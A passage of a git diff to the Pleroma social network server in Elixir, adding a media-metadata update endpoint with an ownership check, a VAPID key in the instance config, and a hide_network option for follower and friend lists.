[private_key_code] = :public_key.pem_decode(pem)
private_key = :public_key.pem_entry_decode(private_key_code)
{:RSAPrivateKey, _, modulus, exponent, _, _, _, _, _, _, _} = private_key
public_key = {:RSAPublicKey, modulus, exponent}
{:ok, private_key, public_key}
end
def encode(private_key, doc) do
type = "application/atom+xml"
encoding = "base64url"
alg = "RSA-SHA256"
signed_text =
[doc, type, encoding, alg]
|> Enum.map(&Base.url_encode64/1)
|> Enum.join(".")
signature =
signed_text
|> :public_key.sign(:sha256, private_key)
|> to_string
|> Base.url_encode64()
doc_base64 =
doc
|> Base.url_encode64()
# Don't need proper xml building, these strings are safe to leave unescaped
salmon = """
<?xml version="1.0" encoding="UTF-8"?>
<me:env xmlns:me="http://salmon-protocol.org/ns/magic-env">
<me:data type="application/atom+xml">#{doc_base64}</me:data>
<me:encoding>#{encoding}</me:encoding>
<me:alg>#{alg}</me:alg>
<me:sig>#{signature}</me:sig>
</me:env>
"""
{:ok, salmon}
end
def remote_users(%{data: %{"to" => to} = data}) do
to = to ++ (data["cc"] || [])
to
|> Enum.map(fn id -> User.get_cached_by_ap_id(id) end)
|> Enum.filter(fn user -> user && !user.local end)
end
defp send_to_user(%{info: %{salmon: salmon}}, feed, poster) do
with {:ok, %{status: code}} <-
poster.(
salmon,
feed,
- [{"Content-Type", "application/magic-envelope+xml"}],
- adapter: [
- timeout: 10000,
- recv_timeout: 20000,
- pool: :default
- ]
+ [{"Content-Type", "application/magic-envelope+xml"}]
) do
Logger.debug(fn -> "Pushed to #{salmon}, code #{code}" end)
else
e -> Logger.debug(fn -> "Pushing Salmon to #{salmon} failed, #{inspect(e)}" end)
end
end
defp send_to_user(_, _, _), do: nil
@supported_activities [
"Create",
"Follow",
"Like",
"Announce",
"Undo",
"Delete"
]
def publish(user, activity, poster \\ &@httpoison.post/4)
def publish(%{info: %{keys: keys}} = user, %{data: %{"type" => type}} = activity, poster)
when type in @supported_activities do
feed = ActivityRepresenter.to_simple_form(activity, user, true)
if feed do
feed =
ActivityRepresenter.wrap_with_entry(feed)
|> :xmerl.export_simple(:xmerl_xml)
|> to_string
{:ok, private, _} = keys_from_pem(keys)
{:ok, feed} = encode(private, feed)
remote_users(activity)
|> Enum.each(fn remote_user ->
Task.start(fn ->
Logger.debug(fn -> "Sending Salmon to #{remote_user.ap_id}" end)
send_to_user(remote_user, feed, poster)
end)
end)
end
end
def publish(%{id: id}, _, _), do: Logger.debug(fn -> "Keys missing for user #{id}" end)
end
diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
index b0ed8387e..092779010 100644
--- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex
+++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
@@ -1,273 +1,277 @@
defmodule Pleroma.Web.TwitterAPI.UtilController do
use Pleroma.Web, :controller
require Logger
alias Pleroma.Web
alias Pleroma.Web.OStatus
alias Pleroma.Web.WebFinger
alias Pleroma.Web.CommonAPI
alias Comeonin.Pbkdf2
alias Pleroma.{Formatter, Emoji}
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.{Repo, PasswordResetToken, User}
def show_password_reset(conn, %{"token" => token}) do
with %{used: false} = token <- Repo.get_by(PasswordResetToken, %{token: token}),
%User{} = user <- Repo.get(User, token.user_id) do
render(conn, "password_reset.html", %{
token: token,
user: user
})
else
_e -> render(conn, "invalid_token.html")
end
end
def password_reset(conn, %{"data" => data}) do
with {:ok, _} <- PasswordResetToken.reset_password(data["token"], data) do
render(conn, "password_reset_success.html")
else
_e -> render(conn, "password_reset_failed.html")
end
end
def help_test(conn, _params) do
json(conn, "ok")
end
def remote_subscribe(conn, %{"nickname" => nick, "profile" => _}) do
with %User{} = user <- User.get_cached_by_nickname(nick), avatar = User.avatar_url(user) do
conn
|> render("subscribe.html", %{nickname: nick, avatar: avatar, error: false})
else
_e ->
render(conn, "subscribe.html", %{
nickname: nick,
avatar: nil,
error: "Could not find user"
})
end
end
def remote_subscribe(conn, %{"user" => %{"nickname" => nick, "profile" => profile}}) do
with {:ok, %{"subscribe_address" => template}} <- WebFinger.finger(profile),
%User{ap_id: ap_id} <- User.get_cached_by_nickname(nick) do
conn
|> Phoenix.Controller.redirect(external: String.replace(template, "{uri}", ap_id))
else
_e ->
render(conn, "subscribe.html", %{
nickname: nick,
avatar: nil,
error: "Something went wrong."
})
end
end
def remote_follow(%{assigns: %{user: user}} = conn, %{"acct" => acct}) do
{err, followee} = OStatus.find_or_make_user(acct)
avatar = User.avatar_url(followee)
name = followee.nickname
id = followee.id
if !!user do
conn
|> render("follow.html", %{error: err, acct: acct, avatar: avatar, name: name, id: id})
else
conn
|> render("follow_login.html", %{
error: false,
acct: acct,
avatar: avatar,
name: name,
id: id
})
end
end
def do_remote_follow(conn, %{
"authorization" => %{"name" => username, "password" => password, "id" => id}
}) do
followee = Repo.get(User, id)
avatar = User.avatar_url(followee)
name = followee.nickname
with %User{} = user <- User.get_cached_by_nickname(username),
true <- Pbkdf2.checkpw(password, user.password_hash),
%User{} = _followed <- Repo.get(User, id),
{:ok, follower} <- User.follow(user, followee),
{:ok, _activity} <- ActivityPub.follow(follower, followee) do
conn
|> render("followed.html", %{error: false})
else
# Was already following user
{:error, "Could not follow user:" <> _rest} ->
render(conn, "followed.html", %{error: false})
_e ->
conn
|> render("follow_login.html", %{
error: "Wrong username or password",
id: id,
name: name,
avatar: avatar
})
end
end
def do_remote_follow(%{assigns: %{user: user}} = conn, %{"user" => %{"id" => id}}) do
with %User{} = followee <- Repo.get(User, id),
{:ok, follower} <- User.follow(user, followee),
{:ok, _activity} <- ActivityPub.follow(follower, followee) do
conn
|> render("followed.html", %{error: false})
else
# Was already following user
{:error, "Could not follow user:" <> _rest} ->
conn
|> render("followed.html", %{error: false})
e ->
Logger.debug("Remote follow failed with error #{inspect(e)}")
conn
|> render("followed.html", %{error: inspect(e)})
end
end
def config(conn, _params) do
instance = Pleroma.Config.get(:instance)
instance_fe = Pleroma.Config.get(:fe)
instance_chat = Pleroma.Config.get(:chat)
case get_format(conn) do
"xml" ->
response = """
<config>
<site>
<name>#{Keyword.get(instance, :name)}</name>
<site>#{Web.base_url()}</site>
<textlimit>#{Keyword.get(instance, :limit)}</textlimit>
<closed>#{!Keyword.get(instance, :registrations_open)}</closed>
</site>
</config>
"""
conn
|> put_resp_content_type("application/xml")
|> send_resp(200, response)
_ ->
+ vapid_public_key =
+ Keyword.get(Application.get_env(:web_push_encryption, :vapid_details), :public_key)
+
data = %{
name: Keyword.get(instance, :name),
description: Keyword.get(instance, :description),
server: Web.base_url(),
textlimit: to_string(Keyword.get(instance, :limit)),
closed: if(Keyword.get(instance, :registrations_open), do: "0", else: "1"),
- private: if(Keyword.get(instance, :public, true), do: "0", else: "1")
+ private: if(Keyword.get(instance, :public, true), do: "0", else: "1"),
+ vapidPublicKey: vapid_public_key
}
pleroma_fe = %{
theme: Keyword.get(instance_fe, :theme),
background: Keyword.get(instance_fe, :background),
logo: Keyword.get(instance_fe, :logo),
logoMask: Keyword.get(instance_fe, :logo_mask),
logoMargin: Keyword.get(instance_fe, :logo_margin),
redirectRootNoLogin: Keyword.get(instance_fe, :redirect_root_no_login),
redirectRootLogin: Keyword.get(instance_fe, :redirect_root_login),
chatDisabled: !Keyword.get(instance_chat, :enabled),
showInstanceSpecificPanel: Keyword.get(instance_fe, :show_instance_panel),
scopeOptionsEnabled: Keyword.get(instance_fe, :scope_options_enabled),
formattingOptionsEnabled: Keyword.get(instance_fe, :formatting_options_enabled),
collapseMessageWithSubject: Keyword.get(instance_fe, :collapse_message_with_subject),
hidePostStats: Keyword.get(instance_fe, :hide_post_stats),
hideUserStats: Keyword.get(instance_fe, :hide_user_stats)
}
managed_config = Keyword.get(instance, :managed_config)
data =
if managed_config do
data |> Map.put("pleromafe", pleroma_fe)
else
data
end
json(conn, %{site: data})
end
end
def version(conn, _params) do
version = Pleroma.Application.named_version()
case get_format(conn) do
"xml" ->
response = "<version>#{version}</version>"
conn
|> put_resp_content_type("application/xml")
|> send_resp(200, response)
_ ->
json(conn, version)
end
end
def emoji(conn, _params) do
json(conn, Enum.into(Emoji.get_all(), %{}))
end
def follow_import(conn, %{"list" => %Plug.Upload{} = listfile}) do
follow_import(conn, %{"list" => File.read!(listfile.path)})
end
def follow_import(%{assigns: %{user: user}} = conn, %{"list" => list}) do
Task.start(fn ->
String.split(list)
|> Enum.map(fn account ->
with %User{} = follower <- User.get_cached_by_ap_id(user.ap_id),
%User{} = followed <- User.get_or_fetch(account),
{:ok, follower} <- User.maybe_direct_follow(follower, followed) do
ActivityPub.follow(follower, followed)
else
err -> Logger.debug("follow_import: following #{account} failed with #{inspect(err)}")
end
end)
end)
json(conn, "job started")
end
def change_password(%{assigns: %{user: user}} = conn, params) do
case CommonAPI.Utils.confirm_current_password(user, params["password"]) do
{:ok, user} ->
with {:ok, _user} <-
User.reset_password(user, %{
password: params["new_password"],
password_confirmation: params["new_password_confirmation"]
}) do
json(conn, %{status: "success"})
else
{:error, changeset} ->
{_, {error, _}} = Enum.at(changeset.errors, 0)
json(conn, %{error: "New password #{error}."})
_ ->
json(conn, %{error: "Unable to change password."})
end
{:error, msg} ->
json(conn, %{error: msg})
end
end
def delete_account(%{assigns: %{user: user}} = conn, params) do
case CommonAPI.Utils.confirm_current_password(user, params["password"]) do
{:ok, user} ->
Task.start(fn -> User.delete(user) end)
json(conn, %{status: "success"})
{:error, msg} ->
json(conn, %{error: msg})
end
end
end
diff --git a/lib/pleroma/web/twitter_api/twitter_api.ex b/lib/pleroma/web/twitter_api/twitter_api.ex
index c19a4f084..9c485d965 100644
--- a/lib/pleroma/web/twitter_api/twitter_api.ex
+++ b/lib/pleroma/web/twitter_api/twitter_api.ex
@@ -1,288 +1,288 @@
defmodule Pleroma.Web.TwitterAPI.TwitterAPI do
alias Pleroma.{UserInviteToken, User, Activity, Repo, Object}
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.TwitterAPI.UserView
alias Pleroma.Web.{OStatus, CommonAPI}
alias Pleroma.Web.MediaProxy
import Ecto.Query
@httpoison Application.get_env(:pleroma, :httpoison)
def create_status(%User{} = user, %{"status" => _} = data) do
CommonAPI.post(user, data)
end
def delete(%User{} = user, id) do
with %Activity{data: %{"type" => type}} <- Repo.get(Activity, id),
{:ok, activity} <- CommonAPI.delete(id, user) do
{:ok, activity}
end
end
def follow(%User{} = follower, params) do
with {:ok, %User{} = followed} <- get_user(params),
{:ok, follower} <- User.maybe_direct_follow(follower, followed),
{:ok, activity} <- ActivityPub.follow(follower, followed),
{:ok, follower, followed} <-
User.wait_and_refresh(
Pleroma.Config.get([:activitypub, :follow_handshake_timeout]),
follower,
followed
) do
{:ok, follower, followed, activity}
else
err -> err
end
end
def unfollow(%User{} = follower, params) do
with {:ok, %User{} = unfollowed} <- get_user(params),
{:ok, follower, follow_activity} <- User.unfollow(follower, unfollowed),
{:ok, _activity} <- ActivityPub.unfollow(follower, unfollowed) do
{:ok, follower, unfollowed}
else
err -> err
end
end
def block(%User{} = blocker, params) do
with {:ok, %User{} = blocked} <- get_user(params),
{:ok, blocker} <- User.block(blocker, blocked),
{:ok, _activity} <- ActivityPub.block(blocker, blocked) do
{:ok, blocker, blocked}
else
err -> err
end
end
def unblock(%User{} = blocker, params) do
with {:ok, %User{} = blocked} <- get_user(params),
{:ok, blocker} <- User.unblock(blocker, blocked),
{:ok, _activity} <- ActivityPub.unblock(blocker, blocked) do
{:ok, blocker, blocked}
else
err -> err
end
end
def repeat(%User{} = user, ap_id_or_id) do
with {:ok, _announce, %{data: %{"id" => id}}} <- CommonAPI.repeat(ap_id_or_id, user),
%Activity{} = activity <- Activity.get_create_activity_by_object_ap_id(id) do
{:ok, activity}
end
end
def unrepeat(%User{} = user, ap_id_or_id) do
with {:ok, _unannounce, %{data: %{"id" => id}}} <- CommonAPI.unrepeat(ap_id_or_id, user),
%Activity{} = activity <- Activity.get_create_activity_by_object_ap_id(id) do
{:ok, activity}
end
end
def fav(%User{} = user, ap_id_or_id) do
with {:ok, _fav, %{data: %{"id" => id}}} <- CommonAPI.favorite(ap_id_or_id, user),
%Activity{} = activity <- Activity.get_create_activity_by_object_ap_id(id) do
{:ok, activity}
end
end
def unfav(%User{} = user, ap_id_or_id) do
with {:ok, _unfav, _fav, %{data: %{"id" => id}}} <- CommonAPI.unfavorite(ap_id_or_id, user),
%Activity{} = activity <- Activity.get_create_activity_by_object_ap_id(id) do
{:ok, activity}
end
end
- def upload(%Plug.Upload{} = file, format \\ "xml") do
- {:ok, object} = ActivityPub.upload(file)
+ def upload(%Plug.Upload{} = file, %User{} = user, format \\ "xml") do
+ {:ok, object} = ActivityPub.upload(file, actor: User.ap_id(user))
url = List.first(object.data["url"])
href = url["href"]
type = url["mediaType"]
case format do
"xml" ->
# Fake this as good as possible...
"""
<?xml version="1.0" encoding="UTF-8"?>
<rsp stat="ok" xmlns:atom="http://www.w3.org/2005/Atom">
<mediaid>#{object.id}</mediaid>
<media_id>#{object.id}</media_id>
<media_id_string>#{object.id}</media_id_string>
<media_url>#{href}</media_url>
<mediaurl>#{href}</mediaurl>
<atom:link rel="enclosure" href="#{href}" type="#{type}"></atom:link>
</rsp>
"""
"json" ->
%{
media_id: object.id,
media_id_string: "#{object.id}}",
media_url: href,
size: 0
}
|> Jason.encode!()
end
end
def register_user(params) do
tokenString = params["token"]
params = %{
nickname: params["nickname"],
name: params["fullname"],
bio: User.parse_bio(params["bio"]),
email: params["email"],
password: params["password"],
password_confirmation: params["confirm"]
}
registrations_open = Pleroma.Config.get([:instance, :registrations_open])
# no need to query DB if registration is open
token =
unless registrations_open || is_nil(tokenString) do
Repo.get_by(UserInviteToken, %{token: tokenString})
end
cond do
registrations_open || (!is_nil(token) && !token.used) ->
changeset = User.register_changeset(%User{info: %{}}, params)
with {:ok, user} <- Repo.insert(changeset) do
!registrations_open && UserInviteToken.mark_as_used(token.token)
{:ok, user}
else
{:error, changeset} ->
errors =
Ecto.Changeset.traverse_errors(changeset, fn {msg, _opts} -> msg end)
|> Jason.encode!()
{:error, %{error: errors}}
end
!registrations_open && is_nil(token) ->
{:error, "Invalid token"}
!registrations_open && token.used ->
{:error, "Expired token"}
end
end
def get_by_id_or_nickname(id_or_nickname) do
if !is_integer(id_or_nickname) && :error == Integer.parse(id_or_nickname) do
Repo.get_by(User, nickname: id_or_nickname)
else
Repo.get(User, id_or_nickname)
end
end
def get_user(user \\ nil, params) do
case params do
%{"user_id" => user_id} ->
case target = get_by_id_or_nickname(user_id) do
nil ->
{:error, "No user with such user_id"}
_ ->
{:ok, target}
end
%{"screen_name" => nickname} ->
case target = Repo.get_by(User, nickname: nickname) do
nil ->
{:error, "No user with such screen_name"}
_ ->
{:ok, target}
end
_ ->
if user do
{:ok, user}
else
{:error, "You need to specify screen_name or user_id"}
end
end
end
defp parse_int(string, default)
defp parse_int(string, default) when is_binary(string) do
with {n, _} <- Integer.parse(string) do
n
else
_e -> default
end
end
defp parse_int(_, default), do: default
def search(_user, %{"q" => query} = params) do
limit = parse_int(params["rpp"], 20)
page = parse_int(params["page"], 1)
offset = (page - 1) * limit
q =
from(
a in Activity,
where: fragment("?->>'type' = 'Create'", a.data),
where: "https://www.w3.org/ns/activitystreams#Public" in a.recipients,
where:
fragment(
"to_tsvector('english', ?->'object'->>'content') @@ plainto_tsquery('english', ?)",
a.data,
^query
),
limit: ^limit,
offset: ^offset,
# this one isn't indexed so psql won't take the wrong index.
order_by: [desc: :inserted_at]
)
_activities = Repo.all(q)
end
defp make_date do
DateTime.utc_now() |> DateTime.to_iso8601()
end
# DEPRECATED mostly, context objects are now created at insertion time.
def context_to_conversation_id(context) do
with %Object{id: id} <- Object.get_cached_by_ap_id(context) do
id
else
_e ->
changeset = Object.context_mapping(context)
case Repo.insert(changeset) do
{:ok, %{id: id}} ->
id
# This should be solved by an upsert, but it seems ecto
# has problems accessing the constraint inside the jsonb.
{:error, _} ->
Object.get_cached_by_ap_id(context).id
end
end
end
def conversation_id_to_context(id) do
with %Object{data: %{"id" => context}} <- Repo.get(Object, id) do
context
else
_e ->
{:error, "No such conversation"}
end
end
def get_external_profile(for_user, uri) do
with %User{} = user <- User.get_or_fetch(uri) do
{:ok, UserView.render("show.json", %{user: user, for: for_user})}
else
_e ->
{:error, "Couldn't find user"}
end
end
end
diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex
index 961250d92..0ccf937b0 100644
--- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex
+++ b/lib/pleroma/web/twitter_api/twitter_api_controller.ex
@@ -1,532 +1,581 @@
defmodule Pleroma.Web.TwitterAPI.Controller do
use Pleroma.Web, :controller
alias Pleroma.Formatter
alias Pleroma.Web.TwitterAPI.{TwitterAPI, UserView, ActivityView, NotificationView}
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.CommonAPI.Utils, as: CommonUtils
- alias Pleroma.{Repo, Activity, User, Notification}
+ alias Pleroma.{Repo, Activity, Object, User, Notification}
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Utils
alias Ecto.Changeset
require Logger
plug(:only_if_public_instance when action in [:public_timeline, :public_and_external_timeline])
action_fallback(:errors)
def verify_credentials(%{assigns: %{user: user}} = conn, _params) do
token = Phoenix.Token.sign(conn, "user socket", user.id)
render(conn, UserView, "show.json", %{user: user, token: token})
end
def status_update(%{assigns: %{user: user}} = conn, %{"status" => _} = status_data) do
with media_ids <- extract_media_ids(status_data),
{:ok, activity} <-
TwitterAPI.create_status(user, Map.put(status_data, "media_ids", media_ids)) do
conn
|> json(ActivityView.render("activity.json", activity: activity, for: user))
else
_ -> empty_status_reply(conn)
end
end
def status_update(conn, _status_data) do
empty_status_reply(conn)
end
defp empty_status_reply(conn) do
bad_request_reply(conn, "Client must provide a 'status' parameter with a value.")
end
defp extract_media_ids(status_data) do
with media_ids when not is_nil(media_ids) <- status_data["media_ids"],
split_ids <- String.split(media_ids, ","),
clean_ids <- Enum.reject(split_ids, fn id -> String.length(id) == 0 end) do
clean_ids
else
_e -> []
end
end
def public_and_external_timeline(%{assigns: %{user: user}} = conn, params) do
params =
params
|> Map.put("type", ["Create", "Announce"])
|> Map.put("blocking_user", user)
activities = ActivityPub.fetch_public_activities(params)
conn
|> render(ActivityView, "index.json", %{activities: activities, for: user})
end
def public_timeline(%{assigns: %{user: user}} = conn, params) do
params =
params
|> Map.put("type", ["Create", "Announce"])
|> Map.put("local_only", true)
|> Map.put("blocking_user", user)
activities = ActivityPub.fetch_public_activities(params)
conn
|> render(ActivityView, "index.json", %{activities: activities, for: user})
end
def friends_timeline(%{assigns: %{user: user}} = conn, params) do
params =
params
|> Map.put("type", ["Create", "Announce", "Follow", "Like"])
|> Map.put("blocking_user", user)
|> Map.put("user", user)
activities =
ActivityPub.fetch_activities([user.ap_id | user.following], params)
|> ActivityPub.contain_timeline(user)
conn
|> render(ActivityView, "index.json", %{activities: activities, for: user})
end
def show_user(conn, params) do
with {:ok, shown} <- TwitterAPI.get_user(params) do
if user = conn.assigns.user do
render(conn, UserView, "show.json", %{user: shown, for: user})
else
render(conn, UserView, "show.json", %{user: shown})
end
else
{:error, msg} ->
bad_request_reply(conn, msg)
end
end
def user_timeline(%{assigns: %{user: user}} = conn, params) do
case TwitterAPI.get_user(user, params) do
{:ok, target_user} ->
activities = ActivityPub.fetch_user_activities(target_user, user, params)
conn
|> render(ActivityView, "index.json", %{activities: activities, for: user})
{:error, msg} ->
bad_request_reply(conn, msg)
end
end
def mentions_timeline(%{assigns: %{user: user}} = conn, params) do
params =
params
|> Map.put("type", ["Create", "Announce", "Follow", "Like"])
|> Map.put("blocking_user", user)
activities = ActivityPub.fetch_activities([user.ap_id], params)
conn
|> render(ActivityView, "index.json", %{activities: activities, for: user})
end
def dm_timeline(%{assigns: %{user: user}} = conn, params) do
query =
ActivityPub.fetch_activities_query(
[user.ap_id],
Map.merge(params, %{"type" => "Create", "user" => user, visibility: "direct"})
)
activities = Repo.all(query)
conn
|> render(ActivityView, "index.json", %{activities: activities, for: user})
end
def notifications(%{assigns: %{user: user}} = conn, params) do
notifications = Notification.for_user(user, params)
conn
|> render(NotificationView, "notification.json", %{notifications: notifications, for: user})
end
def notifications_read(%{assigns: %{user: user}} = conn, %{"latest_id" => latest_id} = params) do
Notification.set_read_up_to(user, latest_id)
notifications = Notification.for_user(user, params)
conn
|> render(NotificationView, "notification.json", %{notifications: notifications, for: user})
end
def notifications_read(%{assigns: %{user: user}} = conn, _) do
bad_request_reply(conn, "You need to specify latest_id")
end
def follow(%{assigns: %{user: user}} = conn, params) do
case TwitterAPI.follow(user, params) do
{:ok, user, followed, _activity} ->
render(conn, UserView, "show.json", %{user: followed, for: user})
{:error, msg} ->
forbidden_json_reply(conn, msg)
end
end
def block(%{assigns: %{user: user}} = conn, params) do
case TwitterAPI.block(user, params) do
{:ok, user, blocked} ->
render(conn, UserView, "show.json", %{user: blocked, for: user})
{:error, msg} ->
forbidden_json_reply(conn, msg)
end
end
def unblock(%{assigns: %{user: user}} = conn, params) do
case TwitterAPI.unblock(user, params) do
{:ok, user, blocked} ->
render(conn, UserView, "show.json", %{user: blocked, for: user})
{:error, msg} ->
forbidden_json_reply(conn, msg)
end
end
def delete_post(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with {:ok, activity} <- TwitterAPI.delete(user, id) do
render(conn, ActivityView, "activity.json", %{activity: activity, for: user})
end
end
def unfollow(%{assigns: %{user: user}} = conn, params) do
case TwitterAPI.unfollow(user, params) do
{:ok, user, unfollowed} ->
render(conn, UserView, "show.json", %{user: unfollowed, for: user})
{:error, msg} ->
forbidden_json_reply(conn, msg)
end
end
def fetch_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with %Activity{} = activity <- Repo.get(Activity, id),
true <- ActivityPub.visible_for_user?(activity, user) do
render(conn, ActivityView, "activity.json", %{activity: activity, for: user})
end
end
def fetch_conversation(%{assigns: %{user: user}} = conn, %{"id" => id}) do
id = String.to_integer(id)
with context when is_binary(context) <- TwitterAPI.conversation_id_to_context(id),
activities <-
ActivityPub.fetch_activities_for_context(context, %{
"blocking_user" => user,
"user" => user
}) do
conn
|> render(ActivityView, "index.json", %{activities: activities, for: user})
end
end
- def upload(conn, %{"media" => media}) do
- response = TwitterAPI.upload(media)
+ @doc """
+ Updates metadata of uploaded media object.
+ Derived from [Twitter API endpoint](https://developer.twitter.com/en/docs/media/upload-media/api-reference/post-media-metadata-create).
+ """
+ def update_media(%{assigns: %{user: user}} = conn, %{"media_id" => id} = data) do
+ object = Repo.get(Object, id)
+ description = get_in(data, ["alt_text", "text"]) || data["name"] || data["description"]
+
+ {conn, status, response_body} =
+ cond do
+ !object ->
+ {halt(conn), :not_found, ""}
+
+ !Object.authorize_mutation(object, user) ->
+ {halt(conn), :forbidden, "You can only update your own uploads."}
+
+ !is_binary(description) ->
+ {conn, :not_modified, ""}
+
+ true ->
+ new_data = Map.put(object.data, "name", description)
+
+ {:ok, _} =
+ object
+ |> Object.change(%{data: new_data})
+ |> Repo.update()
+
+ {conn, :no_content, ""}
+ end
+
+ conn
+ |> put_status(status)
+ |> json(response_body)
+ end
+
+ def upload(%{assigns: %{user: user}} = conn, %{"media" => media}) do
+ response = TwitterAPI.upload(media, user)
conn
|> put_resp_content_type("application/atom+xml")
|> send_resp(200, response)
end
- def upload_json(conn, %{"media" => media}) do
- response = TwitterAPI.upload(media, "json")
+ def upload_json(%{assigns: %{user: user}} = conn, %{"media" => media}) do
+ response = TwitterAPI.upload(media, user, "json")
conn
|> json_reply(200, response)
end
def get_by_id_or_ap_id(id) do
activity = Repo.get(Activity, id) || Activity.get_create_activity_by_object_ap_id(id)
if activity.data["type"] == "Create" do
activity
else
Activity.get_create_activity_by_object_ap_id(activity.data["object"])
end
end
def favorite(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with {_, {:ok, id}} <- {:param_cast, Ecto.Type.cast(:integer, id)},
{:ok, activity} <- TwitterAPI.fav(user, id) do
render(conn, ActivityView, "activity.json", %{activity: activity, for: user})
end
end
def unfavorite(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with {_, {:ok, id}} <- {:param_cast, Ecto.Type.cast(:integer, id)},
{:ok, activity} <- TwitterAPI.unfav(user, id) do
render(conn, ActivityView, "activity.json", %{activity: activity, for: user})
end
end
def retweet(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with {_, {:ok, id}} <- {:param_cast, Ecto.Type.cast(:integer, id)},
{:ok, activity} <- TwitterAPI.repeat(user, id) do
render(conn, ActivityView, "activity.json", %{activity: activity, for: user})
end
end
def unretweet(%{assigns: %{user: user}} = conn, %{"id" => id}) do
with {_, {:ok, id}} <- {:param_cast, Ecto.Type.cast(:integer, id)},
{:ok, activity} <- TwitterAPI.unrepeat(user, id) do
render(conn, ActivityView, "activity.json", %{activity: activity, for: user})
end
end
def register(conn, params) do
with {:ok, user} <- TwitterAPI.register_user(params) do
render(conn, UserView, "show.json", %{user: user})
else
{:error, errors} ->
conn
|> json_reply(400, Jason.encode!(errors))
end
end
def update_avatar(%{assigns: %{user: user}} = conn, params) do
{:ok, object} = ActivityPub.upload(params, type: :avatar)
change = Changeset.change(user, %{avatar: object.data})
{:ok, user} = User.update_and_set_cache(change)
CommonAPI.update(user)
render(conn, UserView, "show.json", %{user: user, for: user})
end
def update_banner(%{assigns: %{user: user}} = conn, params) do
with {:ok, object} <- ActivityPub.upload(%{"img" => params["banner"]}, type: :banner),
new_info <- %{"banner" => object.data},
info_cng <- User.Info.profile_update(user.info, new_info),
changeset <- Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_cng),
{:ok, user} <- User.update_and_set_cache(changeset) do
CommonAPI.update(user)
%{"url" => [%{"href" => href} | _]} = object.data
response = %{url: href} |> Jason.encode!()
conn
|> json_reply(200, response)
end
end
def update_background(%{assigns: %{user: user}} = conn, params) do
with {:ok, object} <- ActivityPub.upload(params, type: :background),
new_info <- %{"background" => object.data},
info_cng <- User.Info.profile_update(user.info, new_info),
changeset <- Ecto.Changeset.change(user) |> Ecto.Changeset.put_embed(:info, info_cng),
{:ok, _user} <- User.update_and_set_cache(changeset) do
%{"url" => [%{"href" => href} | _]} = object.data
response = %{url: href} |> Jason.encode!()
conn
|> json_reply(200, response)
end
end
def external_profile(%{assigns: %{user: current_user}} = conn, %{"profileurl" => uri}) do
with {:ok, user_map} <- TwitterAPI.get_external_profile(current_user, uri),
response <- Jason.encode!(user_map) do
conn
|> json_reply(200, response)
else
_e ->
conn
|> put_status(404)
|> json(%{error: "Can't find user"})
end
end
- def followers(conn, params) do
- with {:ok, user} <- TwitterAPI.get_user(conn.assigns[:user], params),
+ def followers(%{assigns: %{user: for_user}} = conn, params) do
+ with {:ok, user} <- TwitterAPI.get_user(for_user, params),
{:ok, followers} <- User.get_followers(user) do
+ followers =
+ cond do
+ for_user && user.id == for_user.id -> followers
+ user.info.hide_network -> []
+ true -> followers
+ end
+
render(conn, UserView, "index.json", %{users: followers, for: conn.assigns[:user]})
else
_e -> bad_request_reply(conn, "Can't get followers")
end
end
- def friends(conn, params) do
+ def friends(%{assigns: %{user: for_user}} = conn, params) do
with {:ok, user} <- TwitterAPI.get_user(conn.assigns[:user], params),
{:ok, friends} <- User.get_friends(user) do
+ friends =
+ cond do
+ for_user && user.id == for_user.id -> friends
+ user.info.hide_network -> []
+ true -> friends
+ end
+
render(conn, UserView, "index.json", %{users: friends, for: conn.assigns[:user]})
else
_e -> bad_request_reply(conn, "Can't get friends")
end
end
def friend_requests(conn, params) do
with {:ok, user} <- TwitterAPI.get_user(conn.assigns[:user], params),
{:ok, friend_requests} <- User.get_follow_requests(user) do
render(conn, UserView, "index.json", %{users: friend_requests, for: conn.assigns[:user]})
else
_e -> bad_request_reply(conn, "Can't get friend requests")
end
end
def approve_friend_request(conn, %{"user_id" => uid} = params) do
with followed <- conn.assigns[:user],
uid when is_number(uid) <- String.to_integer(uid),
%User{} = follower <- Repo.get(User, uid),
{:ok, follower} <- User.maybe_follow(follower, followed),
%Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed),
{:ok, follow_activity} <- Utils.update_follow_state(follow_activity, "accept"),
{:ok, _activity} <-
ActivityPub.accept(%{
to: [follower.ap_id],
actor: followed.ap_id,
object: follow_activity.data["id"],
type: "Accept"
}) do
render(conn, UserView, "show.json", %{user: follower, for: followed})
else
e -> bad_request_reply(conn, "Can't approve user: #{inspect(e)}")
end
end
def deny_friend_request(conn, %{"user_id" => uid} = params) do
with followed <- conn.assigns[:user],
uid when is_number(uid) <- String.to_integer(uid),
%User{} = follower <- Repo.get(User, uid),
%Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed),
{:ok, follow_activity} <- Utils.update_follow_state(follow_activity, "reject"),
{:ok, _activity} <-
ActivityPub.reject(%{
to: [follower.ap_id],
actor: followed.ap_id,
object: follow_activity.data["id"],
type: "Reject"
}) do
render(conn, UserView, "show.json", %{user: follower, for: followed})
else
e -> bad_request_reply(conn, "Can't deny user: #{inspect(e)}")
end
end
def friends_ids(%{assigns: %{user: user}} = conn, _params) do
with {:ok, friends} <- User.get_friends(user) do
ids =
friends
|> Enum.map(fn x -> x.id end)
|> Jason.encode!()
json(conn, ids)
else
_e -> bad_request_reply(conn, "Can't get friends")
end
end
def empty_array(conn, _params) do
json(conn, Jason.encode!([]))
end
def raw_empty_array(conn, _params) do
json(conn, [])
end
defp build_info_cng(user, params) do
info_params =
- ["no_rich_text", "locked"]
+ ["no_rich_text", "locked", "hide_network"]
